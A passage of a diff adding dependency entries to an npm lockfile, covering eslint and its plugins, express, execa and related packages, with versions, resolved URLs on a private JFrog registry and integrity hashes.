}, + "optionator": { + "version": "0.8.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/optionator/-/optionator-0.8.3.tgz", + "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", + "requires": { + "deep-is": "~0.1.3", + "fast-levenshtein": "~2.0.6", + "levn": "~0.3.0", + "prelude-ls": "~1.1.2", + "type-check": "~0.3.2", + "word-wrap": "~1.2.3" + } + }, + "prelude-ls": { + "version": "1.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/prelude-ls/-/prelude-ls-1.1.2.tgz", + "integrity": "sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==" + }, + "source-map": { + "version": "0.6.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "optional": true + }, + "type-check": { + "version": "0.3.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-check/-/type-check-0.3.2.tgz", + "integrity": "sha512-ZCmOJdvOWDBYJlzAoFkC+Q0+bUyEOS1ltgp1MGU03fqHG+dbi9tBFU2Rd9QKiDZFAYrhPh2JUf7rZRIuHRKtOg==", + "requires": { + "prelude-ls": "~1.1.2" + } + } + } + }, + "eslint": { + "version": "8.43.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint/-/eslint-8.43.0.tgz", + "integrity": "sha512-aaCpf2JqqKesMFGgmRPessmVKjcGXqdlAYLLC3THM8t5nBRZRQ+st5WM/hoJXkdioEXLLbXgclUpM0TXo5HX5Q==", + "requires": { + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.4.0", + "@eslint/eslintrc": "^2.0.3", + "@eslint/js": "8.43.0", + "@humanwhocodes/config-array": "^0.11.10", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "ajv": "^6.10.0", + "chalk": "^4.0.0", + "cross-spawn": "^7.0.2", + "debug": "^4.3.2", + "doctrine": "^3.0.0", + "escape-string-regexp": "^4.0.0", + "eslint-scope": "^7.2.0", + "eslint-visitor-keys": "^3.4.1", + "espree": "^9.5.2", + "esquery": "^1.4.2", + "esutils": "^2.0.2", + "fast-deep-equal": "^3.1.3", + "file-entry-cache": "^6.0.1", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "import-fresh": "^3.0.0", + "imurmurhash": "^0.1.4", + "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "json-stable-stringify-without-jsonify": "^1.0.1", + "levn": "^0.4.1", + "lodash.merge": "^4.6.2", + "minimatch": "^3.1.2", + "natural-compare": "^1.4.0", + "optionator": "^0.9.1", + "strip-ansi": "^6.0.1", + "strip-json-comments": "^3.1.0", + "text-table": "^0.2.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "argparse": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" + }, + "chalk": { + "version": "4.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==" + }, + "globals": { + "version": "13.20.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/globals/-/globals-13.20.0.tgz", + "integrity": "sha512-Qg5QtVkCy/kv3FUSlu4ukeZDVf9ee0iXLAUYX13gbR17bnejFTzr4iS9bY7kwCf1NztRNm1t91fjOiyx4CSwPQ==", + "requires": { + "type-fest": "^0.20.2" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "js-yaml": { + "version": "4.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "requires": { + "argparse": "^2.0.1" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "requires": { + "has-flag": "^4.0.0" + } + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==" + } + } + }, + "eslint-config-react-app": { + "version": "7.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz", + "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==", + "requires": { + "@babel/core": "^7.16.0", + "@babel/eslint-parser": "^7.16.3", + "@rushstack/eslint-patch": "^1.1.0", + "@typescript-eslint/eslint-plugin": "^5.5.0", + "@typescript-eslint/parser": "^5.5.0", + "babel-preset-react-app": "^10.0.1", + "confusing-browser-globals": "^1.0.11", + "eslint-plugin-flowtype": "^8.0.3", + "eslint-plugin-import": "^2.25.3", + "eslint-plugin-jest": "^25.3.0", + "eslint-plugin-jsx-a11y": "^6.5.1", + "eslint-plugin-react": "^7.27.1", + "eslint-plugin-react-hooks": "^4.3.0", + "eslint-plugin-testing-library": "^5.0.1" + } + }, + "eslint-import-resolver-node": { + "version": "0.3.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.7.tgz", + "integrity": "sha512-gozW2blMLJCeFpBwugLTGyvVjNoeo1knonXAcatC6bjPBZitotxdWf7Gimr25N4c0AAOo4eOUfaG82IJPDpqCA==", + "requires": { + "debug": "^3.2.7", + "is-core-module": "^2.11.0", + "resolve": "^1.22.1" + }, + "dependencies": { + "debug": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + } + } + }, + "eslint-module-utils": { + "version": "2.8.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-module-utils/-/eslint-module-utils-2.8.0.tgz", + "integrity": "sha512-aWajIYfsqCKRDgUfjEXNN/JlrzauMuSEy5sbd7WXbtW3EH6A6MpwEh42c7qD+MqQo9QMJ6fWLAeIJynx0g6OAw==", + "requires": { + "debug": "^3.2.7" + }, + "dependencies": { + "debug": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + } + } + }, + "eslint-plugin-flowtype": { + "version": "8.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz", + "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==", + "requires": { + "lodash": "^4.17.21", + "string-natural-compare": "^3.0.1" + } + }, + "eslint-plugin-import": { + "version": "2.27.5", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-import/-/eslint-plugin-import-2.27.5.tgz", + "integrity": "sha512-LmEt3GVofgiGuiE+ORpnvP+kAm3h6MLZJ4Q5HCyHADofsb4VzXFsRiWj3c0OFiV+3DWFh0qg3v9gcPlfc3zRow==", + "requires": { + "array-includes": "^3.1.6", + "array.prototype.flat": "^1.3.1", + "array.prototype.flatmap": "^1.3.1", + "debug": "^3.2.7", + "doctrine": "^2.1.0", + "eslint-import-resolver-node": "^0.3.7", + "eslint-module-utils": "^2.7.4", + "has": "^1.0.3", + "is-core-module": "^2.11.0", + "is-glob": "^4.0.3", + "minimatch": "^3.1.2", + "object.values": "^1.1.6", + "resolve": "^1.22.1", + "semver": "^6.3.0", + "tsconfig-paths": "^3.14.1" + }, + "dependencies": { + "debug": { + "version": "3.2.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "requires": { + "ms": "^2.1.1" + } + }, + "doctrine": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "requires": { + "esutils": "^2.0.2" + } + }, + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "eslint-plugin-jest": { + "version": "25.7.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz", + "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==", + "requires": { + "@typescript-eslint/experimental-utils": "^5.0.0" + } + }, + "eslint-plugin-jsx-a11y": { + "version": "6.7.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.7.1.tgz", + "integrity": "sha512-63Bog4iIethyo8smBklORknVjB0T2dwB8Mr/hIC+fBS0uyHdYYpzM/Ed+YC8VxTjlXHEWFOdmgwcDn1U2L9VCA==", + "requires": { + "@babel/runtime": "^7.20.7", + "aria-query": "^5.1.3", + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "ast-types-flow": "^0.0.7", + "axe-core": "^4.6.2", + "axobject-query": "^3.1.1", + "damerau-levenshtein": "^1.0.8", + "emoji-regex": "^9.2.2", + "has": "^1.0.3", + "jsx-ast-utils": "^3.3.3", + "language-tags": "=1.0.5", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "semver": "^6.3.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "eslint-plugin-react": { + "version": "7.32.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-react/-/eslint-plugin-react-7.32.2.tgz", + "integrity": "sha512-t2fBMa+XzonrrNkyVirzKlvn5RXzzPwRHtMvLAtVZrt8oxgnTQaYbU6SXTOO1mwQgp1y5+toMSKInnzGr0Knqg==", + "requires": { + "array-includes": "^3.1.6", + "array.prototype.flatmap": "^1.3.1", + "array.prototype.tosorted": "^1.1.1", + "doctrine": "^2.1.0", + "estraverse": "^5.3.0", + "jsx-ast-utils": "^2.4.1 || ^3.0.0", + "minimatch": "^3.1.2", + "object.entries": "^1.1.6", + "object.fromentries": "^2.0.6", + "object.hasown": "^1.1.2", + "object.values": "^1.1.6", + "prop-types": "^15.8.1", + "resolve": "^2.0.0-next.4", + "semver": "^6.3.0", + "string.prototype.matchall": "^4.0.8" + }, + "dependencies": { + "doctrine": { + "version": "2.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/doctrine/-/doctrine-2.1.0.tgz", + "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==", + "requires": { + "esutils": "^2.0.2" + } + }, + "resolve": { + "version": "2.0.0-next.4", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/resolve/-/resolve-2.0.0-next.4.tgz", + "integrity": "sha512-iMDbmAWtfU+MHpxt/I5iWI7cY6YVEZUQ3MBgPQ++XD1PELuJHIl82xBmObyP2KyQmkNB2dsqF7seoQQiAn5yDQ==", + "requires": { + "is-core-module": "^2.9.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "eslint-plugin-react-hooks": { + "version": "4.6.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.0.tgz", + "integrity": "sha512-oFc7Itz9Qxh2x4gNHStv3BqJq54ExXmfC+a1NjAta66IAN87Wu0R/QArgIS9qKzX3dXKPI9H5crl9QchNMY9+g==", + "requires": {} + }, + "eslint-plugin-testing-library": { + "version": "5.11.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.0.tgz", + "integrity": "sha512-ELY7Gefo+61OfXKlQeXNIDVVLPcvKTeiQOoMZG9TeuWa7Ln4dUNRv8JdRWBQI9Mbb427XGlVB1aa1QPZxBJM8Q==", + "requires": { + "@typescript-eslint/utils": "^5.58.0" + } + }, + "eslint-scope": { + "version": "7.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-scope/-/eslint-scope-7.2.0.tgz", + "integrity": "sha512-DYj5deGlHBfMt15J7rdtyKNq/Nqlv5KfU4iodrQ019XESsRnwXH9KAE0y3cwtUHDo2ob7CypAnCqefh6vioWRw==", + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^5.2.0" + } + }, + "eslint-visitor-keys": { + "version": "3.4.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-visitor-keys/-/eslint-visitor-keys-3.4.1.tgz", + "integrity": "sha512-pZnmmLwYzf+kWaM/Qgrvpen51upAktaaiI01nsJD/Yr3lMOdNtq0cxkrrg16w64VtisN6okbs7Q8AfGqj4c9fA==" + }, + "eslint-webpack-plugin": { + "version": "3.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz", + "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==", + "requires": { + "@types/eslint": "^7.29.0 || ^8.4.1", + "jest-worker": "^28.0.2", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "schema-utils": "^4.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + }, + "jest-worker": { + "version": "28.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/jest-worker/-/jest-worker-28.1.3.tgz", + "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==", + "requires": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + }, + "supports-color": { + "version": "8.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "espree": { + "version": "9.5.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/espree/-/espree-9.5.2.tgz", + "integrity": "sha512-7OASN1Wma5fum5SrNhFMAMJxOUAbhyfQ8dQ//PJaJbNw0URTPWqIghHWt1MmAANKhHZIYOHruW4Kw4ruUWOdGw==", + "requires": { + "acorn": "^8.8.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" + } + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==" + }, + "esquery": { + "version": "1.5.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", + "requires": { + "estraverse": "^5.1.0" + } + }, + "esrecurse": { + "version": "4.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esrecurse/-/esrecurse-4.3.0.tgz", + "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==", + "requires": { + "estraverse": "^5.2.0" + } + }, + "estraverse": { + "version": "5.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==" + }, + "estree-walker": { + "version": "1.0.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/estree-walker/-/estree-walker-1.0.1.tgz", + "integrity": "sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==" + }, + "esutils": { + "version": "2.0.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==" + }, + "etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==" + }, + "eventemitter3": { + "version": "4.0.7", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/eventemitter3/-/eventemitter3-4.0.7.tgz", + "integrity": "sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==" + }, + "events": { + "version": "3.3.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" + }, + "execa": { + "version": "5.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/execa/-/execa-5.1.1.tgz", + "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", + "requires": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + } + }, + "exit": { + "version": "0.1.2", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/exit/-/exit-0.1.2.tgz", + "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==" + }, + "expect": { + "version": "27.5.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "requires": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + } + }, + "express": { + "version": "4.21.0", + "resolved": "https://registry.npmjs.org/express/-/express-4.21.0.tgz", + "integrity": "sha512-VqcNGcj/Id5ZT1LZ/cfihi3ttTn+NJmkli2eZADigjq29qTlWi/hAQ43t/VLPq8+UX06FCEx3ByOYet6ZFblng==", + "requires": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.3", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.6.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~2.0.0", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.3.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.3", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.10", + "proxy-addr": "~2.0.7", + "qs": "6.13.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.19.0", + "serve-static": "1.16.2", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "dependencies": { + "array-flatten": { + "version": "1.1.1", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/array-flatten/-/array-flatten-1.1.1.tgz", + "integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==" + }, + "debug": { + "version": "2.6.9", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "requires": { + "ms": "2.0.0" + } + }, + "ms": { + "version": "2.0.0", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + } + } + }, + "fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://fundingcircle.jfrog.io/fundingcircle/api/npm/npm/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "fast-glob": { + "version": "3.2.12", + "resolved": 